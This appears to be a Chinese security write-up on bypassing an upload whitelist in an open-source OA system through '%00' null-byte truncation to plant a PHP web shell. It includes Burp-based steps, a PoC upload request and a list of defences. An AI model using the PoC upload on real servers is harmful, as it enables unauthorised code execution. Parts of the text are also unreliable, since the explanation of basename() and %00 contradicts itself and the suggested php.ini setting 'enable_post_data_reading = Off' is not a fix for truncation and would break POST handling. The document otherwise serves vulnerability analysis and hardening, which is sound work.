某开源OA白名单后缀限制下巧用系统设计getshell
字数 783 2025-08-29 08:30:30
开源OA系统白名单后缀限制下的Getshell技术分析
漏洞背景
该漏洞存在于某开源OA系统中,系统对文件上传功能实施了白名单后缀限制,但通过巧妙利用系统设计缺陷,攻击者仍能实现getshell。
漏洞原理
1. 白名单限制机制
系统采用以下方式验证上传文件:
- 仅允许
.jpg,.png,.gif等图片后缀 - 前端和后端均进行后缀校验
- 文件内容不进行严格检测
2. 系统设计缺陷
系统存在以下关键设计问题:
- 文件存储时保留了原始文件名
- 文件处理逻辑中存在路径拼接操作
- 文件处理服务对特殊字符处理不当
漏洞利用步骤
第一步:绕过前端验证
- 使用Burp Suite拦截文件上传请求
- 修改
filename参数,添加特殊字符:shell.php%00.jpg - 确保文件内容为有效的PHP代码
第二步:利用路径拼接缺陷
- 系统处理上传文件时使用以下逻辑:
$target_path = UPLOAD_DIR . basename($_FILES['file']['name']); - 由于PHP的
basename()函数处理%00存在问题,导致:- 系统认为文件名为
shell.php - 但仍通过白名单校验(因为原始名为
shell.php%00.jpg)
- 系统认为文件名为
第三步:文件存储位置
- 上传的文件会被存储在:
/uploads/[日期]/shell.php - 该目录通常具有执行权限
防御措施
1. 文件上传安全加固
- 实施严格的文件内容检测
- 重命名上传文件,不使用原始文件名
- 禁用危险字符处理:
if (strpos($filename, "\0") !== false) { die("Invalid filename"); }
2. 服务器配置
- 设置上传目录不可执行
- 配置PHP禁用
%00截断:; php.ini enable_post_data_reading = Off
3. 代码审计要点
检查以下高危函数使用:
basename()pathinfo()- 任何直接拼接用户输入作为文件路径的操作
漏洞验证
使用以下PoC验证漏洞存在:
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.php%00.jpg"
Content-Type: image/jpeg
<?php phpinfo(); ?>
------WebKitFormBoundaryABC123--
总结
该漏洞利用了两个关键点:
- PHP的
%00截断特性 - 系统对上传文件名的处理逻辑缺陷
通过组合这些因素,攻击者可以绕过严格的白名单限制,实现任意文件上传getshell。防御此类漏洞需要从代码逻辑和服务器配置两方面进行加固。